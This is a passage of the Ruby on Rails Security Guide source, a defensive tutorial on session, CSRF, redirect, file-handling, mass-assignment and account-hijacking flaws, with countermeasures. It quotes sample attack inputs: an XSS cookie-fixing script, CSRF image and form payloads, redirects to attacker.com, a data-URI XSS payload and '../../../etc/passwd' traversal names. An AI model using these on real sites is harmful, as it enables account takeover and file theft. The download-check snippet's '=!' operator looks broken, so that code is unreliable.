vendor/rails/railties/doc/guides/source/security.txt

   1 Ruby On Rails Security Guide
   2 ============================
   3
   4 This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
   5 mail me, Heiko Webers, at 42 {_et_} rorsecurity.info. After reading it, you should be familiar with:
   6
   7 - All countermeasures [,#fffcdb]#that are highlighted#
   8 - The concept of sessions in Rails, what to put in there and popular attack methods
   9 - How just visiting a site can be a security problem (with CSRF)
  10 - What you have to pay attention to when working with files or providing an administration interface
  11 - The Rails-specific mass assignment problem
  12 - How to manage users: Logging in and out and attack methods on all layers
  13 - And the most popular injection attack methods
  14
  15 == Introduction
  16
  17 Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.
  18
  19 In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
  20
  21 The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
  22
  23 The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
  24
  25 In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.
  26
  27 == Sessions
  28
  29 A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
  30
  31 === What are sessions?
  32
  33 -- _HTTP is a stateless protocol Sessions make it stateful._
  34
  35 Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
  36 Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
  37
  38 A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
  39
  40 [source, ruby]
  41 ----------------------------------------------------------------------------
  42 session[:user_id] = @current_user.id
  43 User.find(session[:user_id])
  44 ----------------------------------------------------------------------------
  45
  46 === Session id
  47
  48 -- _The session id is a 32 byte long MD5 hash value._
  49
  50 A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
  51
  52 === Session hijacking
  53
  54 -- _Stealing a user's session id lets an attacker use the web application in the victim's name._
  55
  56 Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
  57
  58 Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
  59
  60 - Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to [,#fffcdb]#provide a secure connection over SSL#.
  61
  62 - Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a [,#fffcdb]#log-out button# in the web application, and [,#fffcdb]#make it prominent#.
  63
  64 - Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later.
  65
  66 - Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
  67
  68 The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf[Symantec Global Internet Security Threat Report].
  69
  70 === Session guidelines
  71
  72 -- _Here are some general guidelines on sessions._
  73
  74 - [,#fffcdb]#Do not store large objects in a session#. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
  75 This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
  76
  77 - [,#fffcdb]#Critical data should not be stored in session#. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
  78
  79
  80 === Session storage
  81
  82 -- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._
  83
  84 There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.
  85
  86 Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
  87
  88 - Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. [,#fffcdb]#Storing the current user's database id in a session is usually ok#.
  89
  90 - The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, [,#fffcdb]#you don't want to store any secrets here#. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
  91
  92 That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So [,#fffcdb]#don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters#. Put the secret in your environment.rb:
  93
  94 ....................................
  95 config.action_controller.session = {
  96   :session_key => ‘_app_session’,
  97   :secret      => ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’
  98 }
  99 ....................................
 100
 101 There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
 102
 103 === Replay attacks for CookieStore sessions
 104
 105 -- _Another sort of attack you have to be aware of when using CookieStore is the replay attack._
 106
 107 It works like this:
 108
 109 - A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we'll do this for demonstration purposes).
 110 - The user buys something.
 111 - His new, lower credit will be stored in the session.
 112 - The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
 113 - The user has his credit back.
 114
 115 Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
 116
 117 The best [,#fffcdb]#solution against it is not to store this kind of data in a session, but in the database#. In this case store the credit in the database and the logged_in_user_id in the session.
 118
 119 === Session fixation
 120
 121 -- _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
 122
 123 image::images/session_fixation.png[Session fixation]
 124
 125 This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
 126
 127 . The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
 128
 129 . He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
 130
 131 . Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +<script> document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9"; </script>+
 132 Read more about XSS and injection later on.
 133
 134 . The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
 135
 136 . As the new trap session is unused, the web application will require the user to authenticate.
 137
 138 . From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
 139
 140 === Session fixation – Countermeasures
 141
 142 -- _One line of code will protect you from session fixation._
 143
 144 The most effective countermeasure is to [,#fffcdb]#issue a new session identifier# and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
 145
 146 [source, ruby]
 147 ----------------------------------------------------------------------------
 148 reset_session
 149 ----------------------------------------------------------------------------
 150
 151 If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, [,#fffcdb]#you have to transfer them to the new session#.
 152
 153 Another countermeasure is to [,#fffcdb]#save user-specific properties in the session#, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. [,#fffcdb]#These might change over the course of a session#, so these users  will not be able to use your application, or only in a limited way.
 154
 155 === Session expiry
 156
 157 -- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
 158
 159 One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to [,#fffcdb]#expire sessions in a database table#. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.
 160
 161 [source, ruby]
 162 ----------------------------------------------------------------------------
 163 class Session < ActiveRecord::Base
 164  def self.sweep(time_ago = nil)
 165      time = case time_ago
 166        when /^(\d+)m$/ then Time.now - $1.to_i.minute
 167        when /^(\d+)h$/ then Time.now - $1.to_i.hour
 168        when /^(\d+)d$/ then Time.now - $1.to_i.day
 169        else Time.now - 1.hour
 170      end
 171      self.delete_all "updated_at < '#{time.to_s(:db)}'"
 172    end
 173  end
 174 ----------------------------------------------------------------------------
 175
 176 The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
 177
 178 [source, ruby]
 179 ----------------------------------------------------------------------------
 180 self.delete_all "updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'"
 181 ----------------------------------------------------------------------------
 182
 183 == Cross-Site Reference Forgery (CSRF)
 184 -- _This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands._
 185
 186 image::images/csrf.png[CSRF]
 187
 188 In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
 189
 190 - Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
 191 - +<img src="http://www.webapp.com/project/1/destroy">+
 192 - Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
 193 - By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
 194 - The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
 195 - Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone.
 196
 197 It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
 198
 199 CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – [,#fffcdb]#CSRF is an important security issue#.
 200
 201 === CSRF Countermeasures
 202
 203 -- _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
 204
 205 The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
 206
 207 *Use GET if:*
 208
 209 - The interaction is more [,#fffcdb]#like a question# (i.e., it is a safe operation such as a query, read operation, or lookup).
 210
 211 *Use POST if:*
 212
 213 - The interaction is more [,#fffcdb]#like an order#, or
 214 - The interaction [,#fffcdb]#changes the state# of the resource in a way that the user would perceive (e.g., a subscription to a service), or
 215 - The user is [,#fffcdb]#held accountable for the results# of the interaction.
 216
 217 If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier.
 218
 219 [,#fffcdb]#The verify method in a controller can make sure that specific actions may not be used over GET#. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.
 220
 221 .................................................................................
 222 verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list}
 223 .................................................................................
 224
 225 With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.
 226
 227 But this was only the first step, because [,#fffcdb]#POST requests can be send automatically, too#. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
 228
 229 [source, html]
 230 ----------------------------------------------------------------------------
 231 <a href="http://www.harmless.com/" onclick="
 232   var f = document.createElement('form');
 233   f.style.display = 'none';
 234   this.parentNode.appendChild(f);
 235   f.method = 'POST';
 236   f.action = 'http://www.example.com/account/destroy';
 237   f.submit();
 238   return false;">To the harmless survey</a>
 239 ----------------------------------------------------------------------------
 240
 241 Or the attacker places the code into the onmouseover event handler of an image:
 242
 243 +<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />+
 244
 245 There are many other possibilities, including Ajax to attack the victim in the background. The  [,#fffcdb]#solution to this is including a security token in non-GET requests# which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
 246
 247 +protect_from_forgery :secret => "123456789012345678901234567890..."+
 248
 249 This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected.
 250
 251 Note that [,#fffcdb]#cross-site scripting (XSS) vulnerabilities bypass all CSRF protections#. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.
 252
 253 == Redirection and Files
 254
 255 Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
 256
 257 === Redirection
 258
 259 -- _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
 260
 261 Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
 262
 263 [source, ruby]
 264 ----------------------------------------------------------------------------
 265 def legacy
 266   redirect_to(params.update(:action=>'main'))
 267 end
 268 ----------------------------------------------------------------------------
 269
 270 This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
 271
 272 +http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com+
 273
 274 If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to [,#fffcdb]#include only the expected parameters in a legacy action# (again a whitelist approach, as opposed to removing unexpected parameters). [,#fffcdb]#And if you redirect to an URL, check it with a whitelist or a regular expression#.
 275
 276 ==== Self-contained XSS
 277
 278 Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
 279
 280 +data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+
 281
 282 This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, [,#fffcdb]#do not allow the user to supply (parts of) the URL to be redirected to#.
 283
 284 === File uploads
 285
 286 -- _Make sure file uploads don't overwrite important files, and process media files asynchronously._
 287
 288 Many web applications allow users to upload files. [,#fffcdb]#File names, which the user may choose (partly), should always be filtered# as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
 289
 290 When filtering user input file names, [,#fffcdb]#don't try to remove malicious parts#. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which [,#fffcdb]#checks for the validity of a file name with a set of accepted characters#. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the http://github.com/technoweenie/attachment_fu/tree/master[attachment_fu plugin]:
 291
 292 [source, ruby]
 293 ----------------------------------------------------------------------------
 294 def sanitize_filename(filename)
 295   returning filename.strip do |name|
 296     # NOTE: File.basename doesn't work right with Windows paths on Unix
 297     # get only the filename, not the whole path
 298     name.gsub! /^.*(\\|\/)/, ''
 299     # Finally, replace all non alphanumeric, underscore
 300     # or periods with underscore
 301     name.gsub! /[^\w\.\-]/, '_'
 302   end
 303 end
 304 ----------------------------------------------------------------------------
 305
 306 A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its [,#fffcdb]#vulnerability to denial-of-service attacks#. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
 307
 308 The solution to this, is best to [,#fffcdb]#process media files asynchronously#: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
 309
 310 === Executable code in file uploads
 311
 312 -- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache's home directory._
 313
 314 The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.
 315
 316 [,#fffcdb]#If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it#, store files at least one level downwards.
 317
 318 === File downloads
 319
 320 -- _Make sure users cannot download arbitrary files._
 321
 322 Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
 323
 324 [source, ruby]
 325 ----------------------------------------------------------------------------
 326 send_file('/var/www/uploads/' + params[:filename])
 327 ----------------------------------------------------------------------------
 328
 329 Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to [,#fffcdb]#check that the requested file is in the expected directory#:
 330
 331 [source, ruby]
 332 ----------------------------------------------------------------------------
 333 basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
 334 filename = File.expand_path(File.join(basename, @file.public_filename))
 335 raise if basename =!
 336      File.expand_path(File.join(File.dirname(filename), '../../../'))
 337 send_file filename, :disposition => 'inline'
 338 ----------------------------------------------------------------------------
 339
 340 Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
 341
 342 == Intranet and Admin security
 343
 344 -- _Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world._
 345
 346 In 2007 there was the first tailor-made http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html[Trojan] which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
 347
 348 *XSS*  If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
 349
 350 Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
 351
 352 Refer to the Injection section for countermeasures against XSS. It is [,#fffcdb]#recommended to use the SafeErb plugin# also in an Intranet or administration interface.
 353
 354 *CSRF*  Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
 355
 356 A real-world example is a http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_ wild.html[router reconfiguration by CSRF]. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
 357
 358 Another example changed Google Adsense's e-mail address and password by http://www.0x000000.com/index.php?i=213&bin=11010101[CSRF]. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
 359
 360 Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
 361
 362 For [,#fffcdb]#countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section#.
 363
 364 === Additional precautions
 365
 366 The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
 367
 368 - It is very important to [,#fffcdb]#think about the worst case#: What if someone really got hold of my cookie or user credentials. You could [,#fffcdb]#introduce roles# for the admin interface to limit the possibilities of the attacker. Or how about [,#fffcdb]#special login credentials# for the admin interface, other than the ones used for the public part of the application. Or a [,#fffcdb]#special password for very serious actions#?
 369
 370 - Does the admin really have to access the interface from everywhere in the world? Think about [,#fffcdb]#limiting the login to a bunch of source IP addresses#. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
 371
 372 - [,#fffcdb]#Put the admin interface to a special sub-domain# such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
 373
 374 == Mass assignment
 375
 376 -- _Without any precautions Model.new(params[:model]) allows attackers to set any database column's value._
 377
 378 The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method:
 379
 380 [source, ruby]
 381 ----------------------------------------------------------------------------
 382 def signup
 383   params[:user] #=> {:name => “ow3ned”, :admin => true}
 384   @user = User.new(params[:user])
 385 end
 386 ----------------------------------------------------------------------------
 387
 388 Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
 389
 390 ..........
 391 http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
 392 ..........
 393
 394 This will set the following parameters in the controller:
 395
 396 [source, ruby]
 397 ----------------------------------------------------------------------------
 398 params[:user] #=> {:name => “ow3ned”, :admin => true}
 399 ----------------------------------------------------------------------------
 400
 401 So if you create a new user using mass-assignment, it may be too easy to become an administrator.
 402
 403 === Countermeasures
 404
 405 To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:
 406
 407 [source, ruby]
 408 ----------------------------------------------------------------------------
 409 attr_protected :admin
 410 ----------------------------------------------------------------------------
 411
 412 A much better way, because it follows the whitelist-principle, is the [,#fffcdb]#attr_accessible method#. It is the exact opposite of attr_protected, because [,#fffcdb]#it takes a list of attributes that will be accessible#. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
 413
 414 [source, ruby]
 415 ----------------------------------------------------------------------------
 416 attr_accessible :name
 417 ----------------------------------------------------------------------------
 418
 419 If you want to set a protected attribute, you will to have to assign it individually:
 420
 421 [source, ruby]
 422 ----------------------------------------------------------------------------
 423 params[:user] #=> {:name => "ow3ned", :admin => true}
 424 @user = User.new(params[:user])
 425 @user.admin #=> false # not mass-assigned
 426 @user.admin = true
 427 @user.admin #=> true
 428 ----------------------------------------------------------------------------
 429
 430 == User management
 431
 432 -- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
 433
 434 There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is [,#fffcdb]#restful_authentication# which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.
 435
 436 Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
 437
 438 ..........
 439 http://localhost:3006/user/activate
 440 http://localhost:3006/user/activate?id=
 441 ..........
 442
 443 This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
 444
 445 [source, ruby]
 446 ----------------------------------------------------------------------------
 447 User.find_by_activation_code(params[:id])
 448 ----------------------------------------------------------------------------
 449
 450 If the parameter was nil, the resulting SQL query will be
 451
 452 ..........
 453 SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1
 454 ..........
 455
 456 And thus it found the first user in the database, returned it and logged him in. You can find out more about it in http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/[my blog post]. [,#fffcdb]#It is advisable to update your plug-ins from time to time#. Moreover, you can review your application to find more flaws like this.
 457
 458 === Brute-forcing accounts
 459
 460 -- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
 461
 462 A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes.
 463
 464 Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.
 465
 466 However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
 467
 468 In order to mitigate such attacks, [,#fffcdb]#display a generic error message on forgot-password pages, too#. Moreover, you can [,#fffcdb]#require to enter a CAPTCHA after a number of failed logins from a certain IP address#. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
 469
 470 === Account hijacking
 471
 472 -- _Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?_
 473
 474 ==== Passwords
 475
 476 Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, [,#fffcdb]#make change-password forms safe against CSRF#, of course. And [,#fffcdb]#require the user to enter the old password when changing it#.
 477
 478 ==== E-Mail
 479
 480 However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure [,#fffcdb]#require the user to enter the password when changing the e-mail address, too#.
 481
 482 ==== Other
 483
 484 Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/[Google Mail]. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, [,#fffcdb]#review your application logic and eliminate all XSS and CSRF vulnerabilities#.
 485
 486 === CAPTCHAs
 487
 488 -- _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot._
 489
